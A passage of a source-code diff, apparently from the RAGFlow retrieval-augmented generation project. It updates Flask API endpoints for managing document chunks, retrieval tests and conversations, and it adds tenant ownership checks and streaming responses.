-    d["important_tks"] = huqie.qie(" ".join(req.get("important_kwd", [])))
-    d["create_time"] = str(datetime.datetime.now()).replace("T", " ")[:19]
-    d["create_timestamp_flt"] = datetime.datetime.now().timestamp()
-
-    try:
-        e, doc = DocumentService.get_by_id(req["doc_id"])
-        if not e:
-            return get_data_error_result(retmsg="Document not found!")
-        d["kb_id"] = [doc.kb_id]
-        d["docnm_kwd"] = doc.name
-        d["doc_id"] = doc.id
-
-        tenant_id = DocumentService.get_tenant_id(req["doc_id"])
-        if not tenant_id:
-            return get_data_error_result(retmsg="Tenant not found!")
-
-        embd_mdl = TenantLLMService.model_instance(
-            tenant_id, LLMType.EMBEDDING.value)
-        v, c = embd_mdl.encode([doc.name, req["content_with_weight"]])
-        DocumentService.increment_chunk_num(req["doc_id"], doc.kb_id, c, 1, 0)
-        v = 0.1 * v[0] + 0.9 * v[1]
-        d["q_%d_vec" % len(v)] = v.tolist()
-        ELASTICSEARCH.upsert([d], search.index_name(tenant_id))
-        return get_json_result(data={"chunk_id": chunck_id})
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/retrieval_test', methods=['POST'])
-@login_required
-@validate_request("kb_id", "question")
-def retrieval_test():
-    req = request.json
-    page = int(req.get("page", 1))
-    size = int(req.get("size", 30))
-    question = req["question"]
-    kb_id = req["kb_id"]
-    doc_ids = req.get("doc_ids", [])
-    similarity_threshold = float(req.get("similarity_threshold", 0.2))
-    vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3))
-    top = int(req.get("top_k", 1024))
-    try:
-        e, kb = KnowledgebaseService.get_by_id(kb_id)
-        if not e:
-            return get_data_error_result(retmsg="Knowledgebase not found!")
-
-        embd_mdl = TenantLLMService.model_instance(
-            kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id)
-        ranks = retrievaler.retrieval(question, embd_mdl, kb.tenant_id, [kb_id], page, size, similarity_threshold,
-                                      vector_similarity_weight, top, doc_ids)
-        for c in ranks["chunks"]:
-            if "vector" in c:
-                del c["vector"]
-
-        return get_json_result(data=ranks)
-    except Exception as e:
-        if str(e).find("not_found") > 0:
-            return get_json_result(data=False, retmsg=f'No chunk found! Check the chunk status please!',
-                                   retcode=RetCode.DATA_ERROR)
-        return server_error_response(e)
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import datetime
+import json
+
+from flask import request
+from flask_login import login_required, current_user
+
+from rag.app.qa import rmPrefix, beAdoc
+from rag.app.tag import label_question
+from rag.nlp import search, rag_tokenizer
+from rag.prompts import keyword_extraction
+from rag.settings import PAGERANK_FLD
+from rag.utils import rmSpace
+from api.db import LLMType, ParserType
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api.db.services.user_service import UserTenantService
+from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
+from api.db.services.document_service import DocumentService
+from api import settings
+from api.utils.api_utils import get_json_result
+import xxhash
+import re
+
+
+@manager.route('/list', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("doc_id")
+def list_chunk():
+    req = request.json
+    doc_id = req["doc_id"]
+    page = int(req.get("page", 1))
+    size = int(req.get("size", 30))
+    question = req.get("keywords", "")
+    try:
+        tenant_id = DocumentService.get_tenant_id(req["doc_id"])
+        if not tenant_id:
+            return get_data_error_result(message="Tenant not found!")
+        e, doc = DocumentService.get_by_id(doc_id)
+        if not e:
+            return get_data_error_result(message="Document not found!")
+        kb_ids = KnowledgebaseService.get_kb_ids(tenant_id)
+        query = {
+            "doc_ids": [doc_id], "page": page, "size": size, "question": question, "sort": True
+        }
+        if "available_int" in req:
+            query["available_int"] = int(req["available_int"])
+        sres = settings.retrievaler.search(query, search.index_name(tenant_id), kb_ids, highlight=True)
+        res = {"total": sres.total, "chunks": [], "doc": doc.to_dict()}
+        for id in sres.ids:
+            d = {
+                "chunk_id": id,
+                "content_with_weight": rmSpace(sres.highlight[id]) if question and id in sres.highlight else sres.field[
+                    id].get(
+                    "content_with_weight", ""),
+                "doc_id": sres.field[id]["doc_id"],
+                "docnm_kwd": sres.field[id]["docnm_kwd"],
+                "important_kwd": sres.field[id].get("important_kwd", []),
+                "question_kwd": sres.field[id].get("question_kwd", []),
+                "image_id": sres.field[id].get("img_id", ""),
+                "available_int": int(sres.field[id].get("available_int", 1)),
+                "positions": sres.field[id].get("position_int", []),
+            }
+            assert isinstance(d["positions"], list)
+            assert len(d["positions"]) == 0 or (isinstance(d["positions"][0], list) and len(d["positions"][0]) == 5)
+            res["chunks"].append(d)
+        return get_json_result(data=res)
+    except Exception as e:
+        if str(e).find("not_found") > 0:
+            return get_json_result(data=False, message='No chunk found!',
+                                   code=settings.RetCode.DATA_ERROR)
+        return server_error_response(e)
+
+
+@manager.route('/get', methods=['GET'])  # noqa: F821
+@login_required
+def get():
+    chunk_id = request.args["chunk_id"]
+    try:
+        tenants = UserTenantService.query(user_id=current_user.id)
+        if not tenants:
+            return get_data_error_result(message="Tenant not found!")
+        for tenant in tenants:
+            kb_ids = KnowledgebaseService.get_kb_ids(tenant.tenant_id)
+            chunk = settings.docStoreConn.get(chunk_id, search.index_name(tenant.tenant_id), kb_ids)
+            if chunk:
+                break
+        if chunk is None:
+            return server_error_response(Exception("Chunk not found"))
+
+        k = []
+        for n in chunk.keys():
+            if re.search(r"(_vec$|_sm_|_tks|_ltks)", n):
+                k.append(n)
+        for n in k:
+            del chunk[n]
+
+        return get_json_result(data=chunk)
+    except Exception as e:
+        if str(e).find("NotFoundError") >= 0:
+            return get_json_result(data=False, message='Chunk not found!',
+                                   code=settings.RetCode.DATA_ERROR)
+        return server_error_response(e)
+
+
+@manager.route('/set', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("doc_id", "chunk_id", "content_with_weight")
+def set():
+    req = request.json
+    d = {
+        "id": req["chunk_id"],
+        "content_with_weight": req["content_with_weight"]}
+    d["content_ltks"] = rag_tokenizer.tokenize(req["content_with_weight"])
+    d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"])
+    if "important_kwd" in req:
+        d["important_kwd"] = req["important_kwd"]
+        d["important_tks"] = rag_tokenizer.tokenize(" ".join(req["important_kwd"]))
+    if "question_kwd" in req:
+        d["question_kwd"] = req["question_kwd"]
+        d["question_tks"] = rag_tokenizer.tokenize("\n".join(req["question_kwd"]))
+    if "tag_kwd" in req:
+        d["tag_kwd"] = req["tag_kwd"]
+    if "tag_feas" in req:
+        d["tag_feas"] = req["tag_feas"]
+    if "available_int" in req:
+        d["available_int"] = req["available_int"]
+
+    try:
+        tenant_id = DocumentService.get_tenant_id(req["doc_id"])
+        if not tenant_id:
+            return get_data_error_result(message="Tenant not found!")
+
+        embd_id = DocumentService.get_embd_id(req["doc_id"])
+        embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING, embd_id)
+
+        e, doc = DocumentService.get_by_id(req["doc_id"])
+        if not e:
+            return get_data_error_result(message="Document not found!")
+
+        if doc.parser_id == ParserType.QA:
+            arr = [
+                t for t in re.split(
+                    r"[\n\t]",
+                    req["content_with_weight"]) if len(t) > 1]
+            q, a = rmPrefix(arr[0]), rmPrefix("\n".join(arr[1:]))
+            d = beAdoc(d, q, a, not any(
+                [rag_tokenizer.is_chinese(t) for t in q + a]))
+
+        v, c = embd_mdl.encode([doc.name, req["content_with_weight"] if not d.get("question_kwd") else "\n".join(d["question_kwd"])])
+        v = 0.1 * v[0] + 0.9 * v[1] if doc.parser_id != ParserType.QA else v[1]
+        d["q_%d_vec" % len(v)] = v.tolist()
+        settings.docStoreConn.update({"id": req["chunk_id"]}, d, search.index_name(tenant_id), doc.kb_id)
+        return get_json_result(data=True)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/switch', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("chunk_ids", "available_int", "doc_id")
+def switch():
+    req = request.json
+    try:
+        e, doc = DocumentService.get_by_id(req["doc_id"])
+        if not e:
+            return get_data_error_result(message="Document not found!")
+        for cid in req["chunk_ids"]:
+            if not settings.docStoreConn.update({"id": cid},
+                                                {"available_int": int(req["available_int"])},
+                                                search.index_name(DocumentService.get_tenant_id(req["doc_id"])),
+                                                doc.kb_id):
+                return get_data_error_result(message="Index updating failure")
+        return get_json_result(data=True)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/rm', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("chunk_ids", "doc_id")
+def rm():
+    req = request.json
+    try:
+        e, doc = DocumentService.get_by_id(req["doc_id"])
+        if not e:
+            return get_data_error_result(message="Document not found!")
+        if not settings.docStoreConn.delete({"id": req["chunk_ids"]}, search.index_name(current_user.id), doc.kb_id):
+            return get_data_error_result(message="Index updating failure")
+        deleted_chunk_ids = req["chunk_ids"]
+        chunk_number = len(deleted_chunk_ids)
+        DocumentService.decrement_chunk_num(doc.id, doc.kb_id, 1, chunk_number, 0)
+        return get_json_result(data=True)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/create', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("doc_id", "content_with_weight")
+def create():
+    req = request.json
+    chunck_id = xxhash.xxh64((req["content_with_weight"] + req["doc_id"]).encode("utf-8")).hexdigest()
+    d = {"id": chunck_id, "content_ltks": rag_tokenizer.tokenize(req["content_with_weight"]),
+         "content_with_weight": req["content_with_weight"]}
+    d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"])
+    d["important_kwd"] = req.get("important_kwd", [])
+    d["important_tks"] = rag_tokenizer.tokenize(" ".join(req.get("important_kwd", [])))
+    d["question_kwd"] = req.get("question_kwd", [])
+    d["question_tks"] = rag_tokenizer.tokenize("\n".join(req.get("question_kwd", [])))
+    d["create_time"] = str(datetime.datetime.now()).replace("T", " ")[:19]
+    d["create_timestamp_flt"] = datetime.datetime.now().timestamp()
+
+    try:
+        e, doc = DocumentService.get_by_id(req["doc_id"])
+        if not e:
+            return get_data_error_result(message="Document not found!")
+        d["kb_id"] = [doc.kb_id]
+        d["docnm_kwd"] = doc.name
+        d["title_tks"] = rag_tokenizer.tokenize(doc.name)
+        d["doc_id"] = doc.id
+
+        tenant_id = DocumentService.get_tenant_id(req["doc_id"])
+        if not tenant_id:
+            return get_data_error_result(message="Tenant not found!")
+
+        e, kb = KnowledgebaseService.get_by_id(doc.kb_id)
+        if not e:
+            return get_data_error_result(message="Knowledgebase not found!")
+        if kb.pagerank:
+            d[PAGERANK_FLD] = kb.pagerank
+
+        embd_id = DocumentService.get_embd_id(req["doc_id"])
+        embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING.value, embd_id)
+
+        v, c = embd_mdl.encode([doc.name, req["content_with_weight"] if not d["question_kwd"] else "\n".join(d["question_kwd"])])
+        v = 0.1 * v[0] + 0.9 * v[1]
+        d["q_%d_vec" % len(v)] = v.tolist()
+        settings.docStoreConn.insert([d], search.index_name(tenant_id), doc.kb_id)
+
+        DocumentService.increment_chunk_num(
+            doc.id, doc.kb_id, c, 1, 0)
+        return get_json_result(data={"chunk_id": chunck_id})
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/retrieval_test', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("kb_id", "question")
+def retrieval_test():
+    req = request.json
+    page = int(req.get("page", 1))
+    size = int(req.get("size", 30))
+    question = req["question"]
+    kb_ids = req["kb_id"]
+    if isinstance(kb_ids, str):
+        kb_ids = [kb_ids]
+    doc_ids = req.get("doc_ids", [])
+    similarity_threshold = float(req.get("similarity_threshold", 0.0))
+    vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3))
+    use_kg = req.get("use_kg", False)
+    top = int(req.get("top_k", 1024))
+    tenant_ids = []
+
+    try:
+        tenants = UserTenantService.query(user_id=current_user.id)
+        for kb_id in kb_ids:
+            for tenant in tenants:
+                if KnowledgebaseService.query(
+                        tenant_id=tenant.tenant_id, id=kb_id):
+                    tenant_ids.append(tenant.tenant_id)
+                    break
+            else:
+                return get_json_result(
+                    data=False, message='Only owner of knowledgebase authorized for this operation.',
+                    code=settings.RetCode.OPERATING_ERROR)
+
+        e, kb = KnowledgebaseService.get_by_id(kb_ids[0])
+        if not e:
+            return get_data_error_result(message="Knowledgebase not found!")
+
+        embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id)
+
+        rerank_mdl = None
+        if req.get("rerank_id"):
+            rerank_mdl = LLMBundle(kb.tenant_id, LLMType.RERANK.value, llm_name=req["rerank_id"])
+
+        if req.get("keyword", False):
+            chat_mdl = LLMBundle(kb.tenant_id, LLMType.CHAT)
+            question += keyword_extraction(chat_mdl, question)
+
+        labels = label_question(question, [kb])
+        ranks = settings.retrievaler.retrieval(question, embd_mdl, tenant_ids, kb_ids, page, size,
+                               similarity_threshold, vector_similarity_weight, top,
+                               doc_ids, rerank_mdl=rerank_mdl, highlight=req.get("highlight"),
+                               rank_feature=labels
+                               )
+        if use_kg:
+            ck = settings.kg_retrievaler.retrieval(question,
+                                                   tenant_ids,
+                                                   kb_ids,
+                                                   embd_mdl,
+                                                   LLMBundle(kb.tenant_id, LLMType.CHAT))
+            if ck["content_with_weight"]:
+                ranks["chunks"].insert(0, ck)
+
+        for c in ranks["chunks"]:
+            c.pop("vector", None)
+        ranks["labels"] = labels
+
+        return get_json_result(data=ranks)
+    except Exception as e:
+        if str(e).find("not_found") > 0:
+            return get_json_result(data=False, message='No chunk found! Check the chunk status please!',
+                                   code=settings.RetCode.DATA_ERROR)
+        return server_error_response(e)
+
+
+@manager.route('/knowledge_graph', methods=['GET'])  # noqa: F821
+@login_required
+def knowledge_graph():
+    doc_id = request.args["doc_id"]
+    tenant_id = DocumentService.get_tenant_id(doc_id)
+    kb_ids = KnowledgebaseService.get_kb_ids(tenant_id)
+    req = {
+        "doc_ids": [doc_id],
+        "knowledge_graph_kwd": ["graph", "mind_map"]
+    }
+    sres = settings.retrievaler.search(req, search.index_name(tenant_id), kb_ids)
+    obj = {"graph": {}, "mind_map": {}}
+    for id in sres.ids[:2]:
+        ty = sres.field[id]["knowledge_graph_kwd"]
+        try:
+            content_json = json.loads(sres.field[id]["content_with_weight"])
+        except Exception:
+            continue
+
+        if ty == 'mind_map':
+            node_dict = {}
+
+            def repeat_deal(content_json, node_dict):
+                if 'id' in content_json:
+                    if content_json['id'] in node_dict:
+                        node_name = content_json['id']
+                        content_json['id'] += f"({node_dict[content_json['id']]})"
+                        node_dict[node_name] += 1
+                    else:
+                        node_dict[content_json['id']] = 1
+                if 'children' in content_json and content_json['children']:
+                    for item in content_json['children']:
+                        repeat_deal(item, node_dict)
+
+            repeat_deal(content_json, node_dict)
+
+        obj[ty] = content_json
+
+    return get_json_result(data=obj)

api/apps/conversation_app.py

@@ -1,135 +1,430 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-from flask import request
-from flask_login import login_required
-from api.db.services.dialog_service import DialogService, ConversationService, chat
-from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
-from api.utils import get_uuid
-from api.utils.api_utils import get_json_result
-
-
-@manager.route('/set', methods=['POST'])
-@login_required
-def set_conversation():
-    req = request.json
-    conv_id = req.get("conversation_id")
-    if conv_id:
-        del req["conversation_id"]
-        try:
-            if not ConversationService.update_by_id(conv_id, req):
-                return get_data_error_result(retmsg="Conversation not found!")
-            e, conv = ConversationService.get_by_id(conv_id)
-            if not e:
-                return get_data_error_result(
-                    retmsg="Fail to update a conversation!")
-            conv = conv.to_dict()
-            return get_json_result(data=conv)
-        except Exception as e:
-            return server_error_response(e)
-
-    try:
-        e, dia = DialogService.get_by_id(req["dialog_id"])
-        if not e:
-            return get_data_error_result(retmsg="Dialog not found")
-        conv = {
-            "id": get_uuid(),
-            "dialog_id": req["dialog_id"],
-            "name": req.get("name", "New conversation"),
-            "message": [{"role": "assistant", "content": dia.prompt_config["prologue"]}]
-        }
-        ConversationService.save(**conv)
-        e, conv = ConversationService.get_by_id(conv["id"])
-        if not e:
-            return get_data_error_result(retmsg="Fail to new a conversation!")
-        conv = conv.to_dict()
-        return get_json_result(data=conv)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/get', methods=['GET'])
-@login_required
-def get():
-    conv_id = request.args["conversation_id"]
-    try:
-        e, conv = ConversationService.get_by_id(conv_id)
-        if not e:
-            return get_data_error_result(retmsg="Conversation not found!")
-        conv = conv.to_dict()
-        return get_json_result(data=conv)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/rm', methods=['POST'])
-@login_required
-def rm():
-    conv_ids = request.json["conversation_ids"]
-    try:
-        for cid in conv_ids:
-            ConversationService.delete_by_id(cid)
-        return get_json_result(data=True)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/list', methods=['GET'])
-@login_required
-def list_convsersation():
-    dialog_id = request.args["dialog_id"]
-    try:
-        convs = ConversationService.query(
-            dialog_id=dialog_id,
-            order_by=ConversationService.model.create_time,
-            reverse=True)
-        convs = [d.to_dict() for d in convs]
-        return get_json_result(data=convs)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/completion', methods=['POST'])
-@login_required
-@validate_request("conversation_id", "messages")
-def completion():
-    req = request.json
-    msg = []
-    for m in req["messages"]:
-        if m["role"] == "system":
-            continue
-        if m["role"] == "assistant" and not msg:
-            continue
-        msg.append({"role": m["role"], "content": m["content"]})
-    try:
-        e, conv = ConversationService.get_by_id(req["conversation_id"])
-        if not e:
-            return get_data_error_result(retmsg="Conversation not found!")
-        conv.message.append(msg[-1])
-        e, dia = DialogService.get_by_id(conv.dialog_id)
-        if not e:
-            return get_data_error_result(retmsg="Dialog not found!")
-        del req["conversation_id"]
-        del req["messages"]
-        ans = chat(dia, msg, **req)
-        if not conv.reference:
-            conv.reference = []
-        conv.reference.append(ans["reference"])
-        conv.message.append({"role": "assistant", "content": ans["answer"]})
-        ConversationService.update_by_id(conv.id, conv.to_dict())
-        return get_json_result(data=ans)
-    except Exception as e:
-        return server_error_response(e)
-
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+import re
+import traceback
+from copy import deepcopy
+from api.db.db_models import APIToken
+
+from api.db.services.conversation_service import ConversationService, structure_answer
+from api.db.services.user_service import UserTenantService
+from flask import request, Response
+from flask_login import login_required, current_user
+
+from api.db import LLMType
+from api.db.services.dialog_service import DialogService, chat, ask
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle, TenantService
+from api import settings
+from api.utils.api_utils import get_json_result
+from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
+from graphrag.general.mind_map_extractor import MindMapExtractor
+from rag.app.tag import label_question
+
+
+@manager.route('/set', methods=['POST'])  # noqa: F821
+@login_required
+def set_conversation():
+    req = request.json
+    conv_id = req.get("conversation_id")
+    is_new = req.get("is_new")
+    del req["is_new"]
+    if not is_new:
+        del req["conversation_id"]
+        try:
+            if not ConversationService.update_by_id(conv_id, req):
+                return get_data_error_result(message="Conversation not found!")
+            e, conv = ConversationService.get_by_id(conv_id)
+            if not e:
+                return get_data_error_result(
+                    message="Fail to update a conversation!")
+            conv = conv.to_dict()
+            return get_json_result(data=conv)
+        except Exception as e:
+            return server_error_response(e)
+
+    try:
+        e, dia = DialogService.get_by_id(req["dialog_id"])
+        if not e:
+            return get_data_error_result(message="Dialog not found")
+        conv = {
+            "id": conv_id,
+            "dialog_id": req["dialog_id"],
+            "name": req.get("name", "New conversation"),
+            "message": [{"role": "assistant", "content": dia.prompt_config["prologue"]}]
+        }
+        ConversationService.save(**conv)
+        return get_json_result(data=conv)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/get', methods=['GET'])  # noqa: F821
+@login_required
+def get():
+    conv_id = request.args["conversation_id"]
+    try:
+        
+        e, conv = ConversationService.get_by_id(conv_id)
+        if not e:
+            return get_data_error_result(message="Conversation not found!")
+        tenants = UserTenantService.query(user_id=current_user.id)
+        avatar =None
+        for tenant in tenants:
+            dialog = DialogService.query(tenant_id=tenant.tenant_id, id=conv.dialog_id)
+            if dialog and len(dialog)>0:
+                avatar = dialog[0].icon
+                break
+        else:
+            return get_json_result(
+                data=False, message='Only owner of conversation authorized for this operation.',
+                code=settings.RetCode.OPERATING_ERROR)
+
+        def get_value(d, k1, k2):
+            return d.get(k1, d.get(k2))
+
+        for ref in conv.reference:
+            if isinstance(ref, list):
+                continue
+            ref["chunks"] = [{
+                "id": get_value(ck, "chunk_id", "id"),
+                "content": get_value(ck, "content", "content_with_weight"),
+                "document_id": get_value(ck, "doc_id", "document_id"),
+                "document_name": get_value(ck, "docnm_kwd", "document_name"),
+                "dataset_id": get_value(ck, "kb_id", "dataset_id"),
+                "image_id": get_value(ck, "image_id", "img_id"),
+                "positions": get_value(ck, "positions", "position_int"),
+            } for ck in ref.get("chunks", [])]
+
+        conv = conv.to_dict()
+        conv["avatar"]=avatar
+        return get_json_result(data=conv)
+    except Exception as e:
+        return server_error_response(e)
+
+@manager.route('/getsse/<dialog_id>', methods=['GET'])  # type: ignore # noqa: F821
+def getsse(dialog_id):
+    
+    token = request.headers.get('Authorization').split()
+    if len(token) != 2:
+        return get_data_error_result(message='Authorization is not valid!"')
+    token = token[1]
+    objs = APIToken.query(beta=token)
+    if not objs:
+        return get_data_error_result(message='Authentication error: API key is invalid!"')
+    try:
+        e, conv = DialogService.get_by_id(dialog_id)
+        if not e:
+            return get_data_error_result(message="Dialog not found!")
+        conv = conv.to_dict()
+        conv["avatar"]= conv["icon"]
+        del conv["icon"]
+        return get_json_result(data=conv)
+    except Exception as e:
+        return server_error_response(e)
+
+@manager.route('/rm', methods=['POST'])  # noqa: F821
+@login_required
+def rm():
+    conv_ids = request.json["conversation_ids"]
+    try:
+        for cid in conv_ids:
+            exist, conv = ConversationService.get_by_id(cid)
+            if not exist:
+                return get_data_error_result(message="Conversation not found!")
+            tenants = UserTenantService.query(user_id=current_user.id)
+            for tenant in tenants:
+                if DialogService.query(tenant_id=tenant.tenant_id, id=conv.dialog_id):
+                    break
+            else:
+                return get_json_result(
+                    data=False, message='Only owner of conversation authorized for this operation.',
+                    code=settings.RetCode.OPERATING_ERROR)
+            ConversationService.delete_by_id(cid)
+        return get_json_result(data=True)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/list', methods=['GET'])  # noqa: F821
+@login_required
+def list_convsersation():
+    dialog_id = request.args["dialog_id"]
+    try:
+        if not DialogService.query(tenant_id=current_user.id, id=dialog_id):
+            return get_json_result(
+                data=False, message='Only owner of dialog authorized for this operation.',
+                code=settings.RetCode.OPERATING_ERROR)
+        convs = ConversationService.query(
+            dialog_id=dialog_id,
+            order_by=ConversationService.model.create_time,
+            reverse=True)
+
+        convs = [d.to_dict() for d in convs]
+        return get_json_result(data=convs)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/completion', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("conversation_id", "messages")
+def completion():
+    req = request.json
+    msg = []
+    for m in req["messages"]:
+        if m["role"] == "system":
+            continue
+        if m["role"] == "assistant" and not msg:
+            continue
+        msg.append(m)
+    message_id = msg[-1].get("id")
+    try:
+        e, conv = ConversationService.get_by_id(req["conversation_id"])
+        if not e:
+            return get_data_error_result(message="Conversation not found!")
+        conv.message = deepcopy(req["messages"])
+        e, dia = DialogService.get_by_id(conv.dialog_id)
+        if not e:
+            return get_data_error_result(message="Dialog not found!")
+        del req["conversation_id"]
+        del req["messages"]
+
+        if not conv.reference:
+            conv.reference = []
+        else:
+            def get_value(d, k1, k2):
+                return d.get(k1, d.get(k2))
+
+            for ref in conv.reference:
+                if isinstance(ref, list):
+                    continue
+                ref["chunks"] = [{
+                    "id": get_value(ck, "chunk_id", "id"),
+                    "content": get_value(ck, "content", "content_with_weight"),
+                    "document_id": get_value(ck, "doc_id", "document_id"),
+                    "document_name": get_value(ck, "docnm_kwd", "document_name"),
+                    "dataset_id": get_value(ck, "kb_id", "dataset_id"),
+                    "image_id": get_value(ck, "image_id", "img_id"),
+                    "positions": get_value(ck, "positions", "position_int"),
+                } for ck in ref.get("chunks", [])]
+
+        if not conv.reference:
+            conv.reference = []
+        conv.reference.append({"chunks": [], "doc_aggs": []})
+        def stream():
+            nonlocal dia, msg, req, conv
+            try:
+                for ans in chat(dia, msg, True, **req):
+                    ans = structure_answer(conv, ans, message_id, conv.id)
+                    yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n"
+                ConversationService.update_by_id(conv.id, conv.to_dict())
+            except Exception as e:
+                traceback.print_exc()
+                yield "data:" + json.dumps({"code": 500, "message": str(e),
+                                            "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+                                           ensure_ascii=False) + "\n\n"
+            yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+        if req.get("stream", True):
+            resp = Response(stream(), mimetype="text/event-stream")
+            resp.headers.add_header("Cache-control", "no-cache")
+            resp.headers.add_header("Connection", "keep-alive")
+            resp.headers.add_header("X-Accel-Buffering", "no")
+            resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+            return resp
+
+        else:
+            answer = None
+            for ans in chat(dia, msg, **req):
+                answer = structure_answer(conv, ans, message_id, req["conversation_id"])
+                ConversationService.update_by_id(conv.id, conv.to_dict())
+                break
+            return get_json_result(data=answer)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/tts', methods=['POST'])  # noqa: F821
+@login_required
+def tts():
+    req = request.json
+    text = req["text"]
+
+    tenants = TenantService.get_info_by(current_user.id)
+    if not tenants:
+        return get_data_error_result(message="Tenant not found!")
+
+    tts_id = tenants[0]["tts_id"]
+    if not tts_id:
+        return get_data_error_result(message="No default TTS model is set")
+
+    tts_mdl = LLMBundle(tenants[0]["tenant_id"], LLMType.TTS, tts_id)
+
+    def stream_audio():
+        try:
+            for txt in re.split(r"[，。/《》？；：！\n\r:;]+", text):
+                for chunk in tts_mdl.tts(txt):
+                    yield chunk
+        except Exception as e:
+            yield ("data:" + json.dumps({"code": 500, "message": str(e),
+                                         "data": {"answer": "**ERROR**: " + str(e)}},
+                                        ensure_ascii=False)).encode('utf-8')
+
+    resp = Response(stream_audio(), mimetype="audio/mpeg")
+    resp.headers.add_header("Cache-Control", "no-cache")
+    resp.headers.add_header("Connection", "keep-alive")
+    resp.headers.add_header("X-Accel-Buffering", "no")
+
+    return resp
+
+
+@manager.route('/delete_msg', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("conversation_id", "message_id")
+def delete_msg():
+    req = request.json
+    e, conv = ConversationService.get_by_id(req["conversation_id"])
+    if not e:
+        return get_data_error_result(message="Conversation not found!")
+
+    conv = conv.to_dict()
+    for i, msg in enumerate(conv["message"]):
+        if req["message_id"] != msg.get("id", ""):
+            continue
+        assert conv["message"][i + 1]["id"] == req["message_id"]
+        conv["message"].pop(i)
+        conv["message"].pop(i)
+        conv["reference"].pop(max(0, i // 2 - 1))
+        break
+
+    ConversationService.update_by_id(conv["id"], conv)
+    return get_json_result(data=conv)
+
+
+@manager.route('/thumbup', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("conversation_id", "message_id")
+def thumbup():
+    req = request.json
+    e, conv = ConversationService.get_by_id(req["conversation_id"])
+    if not e:
+        return get_data_error_result(message="Conversation not found!")
+    up_down = req.get("set")
+    feedback = req.get("feedback", "")
+    conv = conv.to_dict()
+    for i, msg in enumerate(conv["message"]):
+        if req["message_id"] == msg.get("id", "") and msg.get("role", "") == "assistant":
+            if up_down:
+                msg["thumbup"] = True
+                if "feedback" in msg:
+                    del msg["feedback"]
+            else:
+                msg["thumbup"] = False
+                if feedback:
+                    msg["feedback"] = feedback
+            break
+
+    ConversationService.update_by_id(conv["id"], conv)
+    return get_json_result(data=conv)
+
+
+@manager.route('/ask', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("question", "kb_ids")
+def ask_about():
+    req = request.json
+    uid = current_user.id
+
+    def stream():
+        nonlocal req, uid
+        try:
+            for ans in ask(req["question"], req["kb_ids"], uid):
+                yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n"
+        except Exception as e:
+            yield "data:" + json.dumps({"code": 500, "message": str(e),
+                                        "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+                                       ensure_ascii=False) + "\n\n"
